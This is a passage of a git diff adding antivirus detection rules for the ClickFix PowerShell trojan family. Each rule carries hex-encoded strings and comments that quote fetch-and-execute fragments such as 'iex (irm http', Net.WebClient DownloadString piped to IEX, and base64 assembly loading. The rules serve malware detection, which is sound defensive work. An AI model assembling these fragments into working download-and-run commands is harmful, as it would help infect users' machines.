1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_EEL_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_EEL_MTB.yar new file mode 100644 index 0000000000..5519a7c010 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_EEL_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_ClickFix_EEL_MTB{ + meta: + description = "Trojan:Win32/ClickFix.EEL!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_00_0 = {2e 00 73 00 65 00 6e 00 64 00 28 00 29 00 3b 00 69 00 65 00 78 00 28 00 5b 00 54 00 65 00 78 00 74 00 2e 00 45 00 6e 00 63 00 6f 00 64 00 69 00 6e 00 67 00 5d 00 3a 00 3a 00 55 00 54 00 46 00 38 00 2e 00 47 00 65 00 74 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 } //1 .send();iex([Text.Encoding]::UTF8.GetString($ + $a_02_1 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 [0-06] 2e 00 [0-06] 2e 00 [0-06] 2e 00 [0-20] 3b 00 24 00 } //1 + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_EEM_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_EEM_MTB.yar new file mode 100644 index 0000000000..aec9bebe5b --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_EEM_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_EEM_MTB{ + meta: + description = "Trojan:Win32/ClickFix.EEM!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,1e 00 1e 00 03 00 00 " + + strings : + $a_02_0 = {24 00 65 00 6e 00 76 00 3a 00 74 00 65 00 6d 00 70 00 20 00 2b 00 20 00 [0-20] 2e 00 76 00 62 00 73 00 27 00 29 00 3b 00 20 00 73 00 74 00 61 00 72 00 74 00 2d 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 77 00 73 00 63 00 72 00 69 00 70 00 74 00 20 00 24 00 } //10 + $a_00_1 = {4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 } //10 Net.WebClient + $a_00_2 = {2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 46 00 69 00 6c 00 65 00 } //10 .DownloadFile + condition: + ((#a_02_0 & 1)*10+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10) >=30 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_EEN_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_EEN_MTB.yar new file mode 100644 index 0000000000..abdf37b37a --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_EEN_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_EEN_MTB{ + meta: + description = "Trojan:Win32/ClickFix.EEN!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,6e 00 6e 00 03 00 00 " + + strings : + $a_00_0 = {5b 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 49 00 4f 00 2e 00 50 00 61 00 74 00 68 00 5d 00 3a 00 3a 00 47 00 65 00 74 00 54 00 65 00 6d 00 70 00 46 00 69 00 6c 00 65 00 4e 00 61 00 6d 00 65 00 28 00 29 00 2b 00 27 00 } //100 [System.IO.Path]::GetTempFileName()+' + $a_00_1 = {3b 00 20 00 26 00 20 00 24 00 } //10 ; & $ + $a_00_2 = {68 00 69 00 64 00 64 00 65 00 6e 00 } //10 hidden + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10) >=110 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_EEP_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_EEP_MTB.yar new file mode 100644 index 0000000000..78b00f8c08 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_EEP_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_ClickFix_EEP_MTB{ + meta: + description = "Trojan:Win32/ClickFix.EEP!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_00_0 = {67 00 77 00 6d 00 69 00 20 00 57 00 69 00 6e 00 33 00 32 00 5f 00 43 00 6f 00 6d 00 70 00 75 00 74 00 65 00 72 00 53 00 79 00 73 00 74 00 65 00 6d 00 } //1 gwmi Win32_ComputerSystem + $a_00_1 = {23 00 56 00 65 00 72 00 69 00 66 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 20 00 43 00 6f 00 64 00 65 00 } //1 #Verification Code + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_FFE_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_FFE_MTB.yar new file mode 100644 index 0000000000..b73a43bf42 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_FFE_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_ClickFix_FFE_MTB{ + meta: + description = "Trojan:Win32/ClickFix.FFE!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,65 00 65 00 06 00 00 " + + strings : + $a_00_0 = {2e 00 74 00 78 00 74 00 20 00 7c 00 20 00 46 00 6f 00 72 00 45 00 61 00 63 00 68 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 7b 00 69 00 65 00 78 00 20 00 24 00 } //1 .txt | ForEach-Object {iex $ + $a_00_1 = {2e 00 74 00 78 00 74 00 20 00 7c 00 20 00 46 00 6f 00 72 00 45 00 61 00 63 00 68 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 7b 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 65 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 20 00 24 00 } //1 .txt | ForEach-Object {invoke-expression $ + $a_00_2 = {2e 00 74 00 78 00 74 00 20 00 7c 00 20 00 46 00 6f 00 72 00 45 00 61 00 63 00 68 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 7b 00 24 00 5f 00 20 00 } //1 .txt | ForEach-Object {$_ + $a_02_3 = {2e 00 74 00 78 00 74 00 29 00 20 00 2d 00 73 00 70 00 6c 00 69 00 74 00 [0-20] 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 65 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 20 00 24 00 } //1 + $a_00_4 = {2e 00 74 00 78 00 74 00 20 00 7c 00 20 00 25 00 20 00 7b 00 24 00 5f 00 20 00 } //1 .txt | % {$_ + $a_00_5 = {68 00 74 00 74 00 70 00 } //100 http + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_02_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*100) >=101 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_FFH_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_FFH_MTB.yar new file mode 100644 index 0000000000..2fd0cfc4d2 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_FFH_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_FFH_MTB{ + meta: + description = "Trojan:Win32/ClickFix.FFH!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 } //1 Net.WebClient + $a_00_1 = {2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 } //1 .DownloadString + $a_00_2 = {2e 00 74 00 78 00 74 00 27 00 29 00 20 00 7c 00 20 00 49 00 45 00 58 00 } //1 .txt') | IEX + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_FFK_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_FFK_MTB.yar new file mode 100644 index 0000000000..375bcd0c50 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_FFK_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_ClickFix_FFK_MTB{ + meta: + description = "Trojan:Win32/ClickFix.FFK!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_00_0 = {6d 00 2a 00 74 00 61 00 2e 00 2a 00 65 00 } //1 m*ta.*e + $a_00_1 = {7c 00 20 00 69 00 45 00 58 00 } //1 | iEX + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_FFL_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_FFL_MTB.yar new file mode 100644 index 0000000000..27ec1c8145 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_FFL_MTB.yar @@ -0,0 +1,53 @@ + +rule Trojan_Win32_ClickFix_FFL_MTB{ + meta: + description = "Trojan:Win32/ClickFix.FFL!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_00_0 = {69 00 65 00 78 00 20 00 28 00 69 00 72 00 6d 00 20 00 68 00 74 00 74 00 70 00 } //1 iex (irm http + $a_00_1 = {2e 00 69 00 6e 00 6b 00 } //1 .ink + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1) >=2 + +} +rule Trojan_Win32_ClickFix_FFL_MTB_2{ + meta: + description = "Trojan:Win32/ClickFix.FFL!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {7c 00 20 00 49 00 45 00 58 00 26 00 23 00 } //1 | IEX&# + $a_00_1 = {2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 } //1 .DownloadString + $a_00_2 = {4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 } //1 Net.WebClient + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} +rule Trojan_Win32_ClickFix_FFL_MTB_3{ + meta: + description = "Trojan:Win32/ClickFix.FFL!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_00_0 = {52 00 65 00 66 00 6c 00 65 00 63 00 74 00 69 00 6f 00 6e 00 2e 00 41 00 73 00 73 00 65 00 6d 00 62 00 6c 00 79 00 5d 00 3a 00 3a 00 4c 00 6f 00 61 00 64 00 } //1 Reflection.Assembly]::Load + $a_00_1 = {5b 00 43 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 53 00 74 00 72 00 69 00 6e 00 67 00 } //1 [Convert]::FromBase64String + $a_00_2 = {4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 } //1 Net.WebClient + $a_00_3 = {44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 } //1 DownloadString + $a_00_4 = {2e 00 47 00 65 00 74 00 4d 00 65 00 74 00 68 00 6f 00 64 00 } //1 .GetMethod + $a_00_5 = {69 00 6e 00 76 00 6f 00 6b 00 65 00 28 00 24 00 } //1 invoke($ + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1) >=6 + +} +rule Trojan_Win32_ClickFix_FFL_MTB_4{ + meta: + description = "Trojan:Win32/ClickFix.FFL!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_00_0 = {69 00 65 00 78 00 28 00 24 00 } //1 iex($ + $a_00_1 = {2e 00 52 00 65 00 73 00 75 00 6c 00 74 00 2e 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 2e 00 52 00 65 00 61 00 64 00 41 00 73 00 53 00 74 00 72 00 69 00 6e 00 67 00 41 00 73 00 79 00 6e 00 63 00 28 00 } //1 .Result.Content.ReadAsStringAsync( + $a_00_2 = {53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 4e 00 65 00 74 00 2e 00 48 00 74 00 74 00 70 00 2e 00 53 00 74 00 72 00 69 00 6e 00 67 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 } //1 System.Net.Http.StringContent + $a_00_3 = {53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 4e 00 65 00 74 00 2e 00 48 00 74 00 74 00 70 00 2e 00 48 00 74 00 74 00 70 00 43 00 6c 00 69 00 65 00 6e 00 74 00 } //1 System.Net.Http.HttpClient + $a_00_4 = {50 00 6f 00 73 00 74 00 41 00 73 00 79 00 6e 00 63 00 28 00 } //1 PostAsync( + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_FFM_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_FFM_MTB.yar new file mode 100644 index 0000000000..4e7b1a7a51 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_FFM_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_ClickFix_FFM_MTB{ + meta: + description = "Trojan:Win32/ClickFix.FFM!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,65 00 65 00 05 00 00 " + + strings : + $a_00_0 = {57 00 2a 00 73 00 5c 00 53 00 2a 00 32 00 } //100 W*s\S*2 + $a_00_1 = {20 00 69 00 65 00 78 00 } //1 iex + $a_00_2 = {49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 45 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 } //1 Invoke-Expression + $a_00_3 = {7c 00 69 00 65 00 78 00 } //1 |iex + $a_00_4 = {6d 00 73 00 65 00 64 00 67 00 65 00 77 00 65 00 62 00 76 00 69 00 65 00 77 00 32 00 2e 00 65 00 78 00 65 00 } //-100 msedgewebview2.exe + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*-100) >=101 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_FFN_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_FFN_MTB.yar new file mode 100644 index 0000000000..f9f332e265 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_FFN_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_FFN_MTB{ + meta: + description = "Trojan:Win32/ClickFix.FFN!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_00_0 = {7c 00 20 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 | powershell + $a_00_1 = {63 00 75 00 72 00 6c 00 } //1 curl + $a_00_2 = {68 00 74 00 74 00 70 00 } //1 http + $a_00_3 = {59 00 6f 00 75 00 72 00 20 00 57 00 6f 00 72 00 6b 00 20 00 53 00 74 00 61 00 72 00 74 00 73 00 20 00 48 00 65 00 72 00 65 00 } //1 Your Work Starts Here + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_FFO_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_FFO_MTB.yar new file mode 100644 index 0000000000..4fb1715fcf --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_FFO_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_FFO_MTB{ + meta: + description = "Trojan:Win32/ClickFix.FFO!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_00_0 = {3b 00 77 00 68 00 69 00 6c 00 65 00 20 00 28 00 24 00 74 00 72 00 75 00 65 00 29 00 7b 00 24 00 } //1 ;while ($true){$ + $a_00_1 = {49 00 52 00 4d 00 20 00 } //1 IRM + $a_00_2 = {68 00 69 00 64 00 64 00 65 00 6e 00 } //1 hidden + $a_00_3 = {48 00 65 00 61 00 64 00 65 00 72 00 73 00 20 00 40 00 } //1 Headers @ + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_FFQ_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_FFQ_MTB.yar new file mode 100644 index 0000000000..a381173a81 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_FFQ_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_ClickFix_FFQ_MTB{ + meta: + description = "Trojan:Win32/ClickFix.FFQ!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,65 00 65 00 05 00 00 " + + strings : + $a_00_0 = {23 00 20 00 56 00 65 00 72 00 69 00 66 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 } //100 # Verification + $a_00_1 = {7c 00 20 00 69 00 65 00 78 00 } //1 | iex + $a_00_2 = {7c 00 20 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 65 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 } //1 | invoke-expression + $a_00_3 = {3b 00 69 00 65 00 78 00 28 00 24 00 } //1 ;iex($ + $a_00_4 = {3b 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 65 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 28 00 24 00 } //1 ;invoke-expression($ + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=101 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_FFS_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_FFS_MTB.yar new file mode 100644 index 0000000000..6ecb5a9a81 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_FFS_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_ClickFix_FFS_MTB{ + meta: + description = "Trojan:Win32/ClickFix.FFS!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff83 00 ffffff83 00 06 00 00 " + + strings : + $a_00_0 = {5b 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 5d 00 3a 00 3a 00 43 00 72 00 65 00 61 00 74 00 65 00 28 00 29 00 } //100 [powershell]::Create() + $a_00_1 = {2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 } //10 .DownloadString($ + $a_00_2 = {2e 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 } //10 .Invoke + $a_00_3 = {6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 74 00 } //10 net.webclient + $a_00_4 = {2e 00 41 00 64 00 64 00 53 00 63 00 72 00 69 00 70 00 74 00 28 00 24 00 } //1 .AddScript($ + $a_00_5 = {2e 00 41 00 64 00 64 00 41 00 72 00 67 00 75 00 6d 00 65 00 6e 00 74 00 28 00 24 00 } //1 .AddArgument($ + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1) >=131 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_GLG_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_GLG_MTB.yar new file mode 100644 index 0000000000..8503098e5f --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_GLG_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_GLG_MTB{ + meta: + description = "Trojan:Win32/ClickFix.GLG!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_00_1 = {25 00 7b 00 5b 00 63 00 68 00 61 00 72 00 5d 00 24 00 5f 00 7d 00 29 00 2d 00 6a 00 6f 00 69 00 6e 00 } //1 %{[char]$_})-join + $a_00_2 = {27 00 3b 00 26 00 24 00 } //1 ';&$ + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_GLHD_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_GLHD_MTB.yar new file mode 100644 index 0000000000..e25d52e81f --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_GLHD_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_ClickFix_GLHD_MTB{ + meta: + description = "Trojan:Win32/ClickFix.GLHD!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_00_1 = {29 00 2e 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 29 00 29 00 2e 00 54 00 72 00 69 00 6d 00 28 00 29 00 } //1 ).Content)).Trim() + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_GLI_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_GLI_MTB.yar new file mode 100644 index 0000000000..432a2c60f4 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_GLI_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_ClickFix_GLI_MTB{ + meta: + description = "Trojan:Win32/ClickFix.GLI!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_00_1 = {27 00 69 00 27 00 2c 00 27 00 65 00 27 00 2c 00 27 00 78 00 27 00 } //1 'i','e','x' + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_GVA_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_GVA_MTB.yar index 9cafbfe935..667a68fbc3 100644 --- a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_GVA_MTB.yar +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_GVA_MTB.yar @@ -6,7 +6,7 @@ rule Trojan_Win32_ClickFix_GVA_MTB{ strings : $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //5 powershell $a_02_1 = {69 00 72 00 6d 00 20 00 [0-ff] 3a 00 [0-0a] 2f 00 24 00 } //5 - $a_00_2 = {7c 00 69 00 65 00 78 00 } //3 |iex + $a_00_2 = {69 00 65 00 78 00 } //3 iex condition: ((#a_00_0 & 1)*5+(#a_02_1 & 1)*5+(#a_00_2 & 1)*3) >=13 diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_GVB_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_GVB_MTB.yar new file mode 100644 index 0000000000..7e01d57bff --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_GVB_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_ClickFix_GVB_MTB{ + meta: + description = "Trojan:Win32/ClickFix.GVB!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,15 00 15 00 05 00 00 " + + strings : + $a_00_0 = {69 00 65 00 78 00 } //1 iex + $a_00_1 = {68 00 74 00 74 00 70 00 } //10 http + $a_00_2 = {6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 74 00 } //10 net.webclient + $a_00_3 = {64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 } //10 download + $a_00_4 = {63 00 75 00 72 00 6c 00 } //10 curl + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10+(#a_00_4 & 1)*10) >=21 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_GVC_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_GVC_MTB.yar new file mode 100644 index 0000000000..e8d264bfb3 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_GVC_MTB.yar @@ -0,0 +1,19 @@ + +rule Trojan_Win32_ClickFix_GVC_MTB{ + meta: + description = "Trojan:Win32/ClickFix.GVC!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,0e 00 0e 00 09 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //2 powershell + $a_00_1 = {73 00 74 00 61 00 72 00 74 00 2d 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 } //2 start-process + $a_00_2 = {72 00 75 00 6e 00 61 00 73 00 } //2 runas + $a_00_3 = {68 00 74 00 74 00 70 00 } //2 http + $a_00_4 = {64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 } //2 download + $a_00_5 = {6e 00 65 00 77 00 2d 00 6f 00 62 00 6a 00 65 00 63 00 74 00 } //1 new-object + $a_00_6 = {6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 74 00 } //1 net.webclient + $a_00_7 = {2e 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 } //1 .invoke + $a_00_8 = {73 00 63 00 72 00 69 00 70 00 74 00 62 00 6c 00 6f 00 63 00 6b 00 } //1 scriptblock + condition: + ((#a_00_0 & 1)*2+(#a_00_1 & 1)*2+(#a_00_2 & 1)*2+(#a_00_3 & 1)*2+(#a_00_4 & 1)*2+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1) >=14 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_GVD_MTB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_GVD_MTB.yar new file mode 100644 index 0000000000..99f1f8a22f --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_GVD_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_ClickFix_GVD_MTB{ + meta: + description = "Trojan:Win32/ClickFix.GVD!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,35 08 35 08 06 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_00_1 = {24 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 } //1 $appdata + $a_00_2 = {24 00 63 00 68 00 72 00 6f 00 6d 00 65 00 29 00 } //1 $chrome) + $a_00_3 = {2d 00 55 00 73 00 65 00 42 00 61 00 73 00 69 00 63 00 50 00 61 00 72 00 73 00 69 00 6e 00 67 00 29 00 2e 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 29 00 } //1000 -UseBasicParsing).Content) + $a_00_4 = {66 00 6f 00 72 00 73 00 65 00 20 00 72 00 65 00 73 00 74 00 61 00 72 00 74 00 } //1000 forse restart + $a_00_5 = {68 00 74 00 74 00 70 00 } //100 http + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1000+(#a_00_4 & 1)*1000+(#a_00_5 & 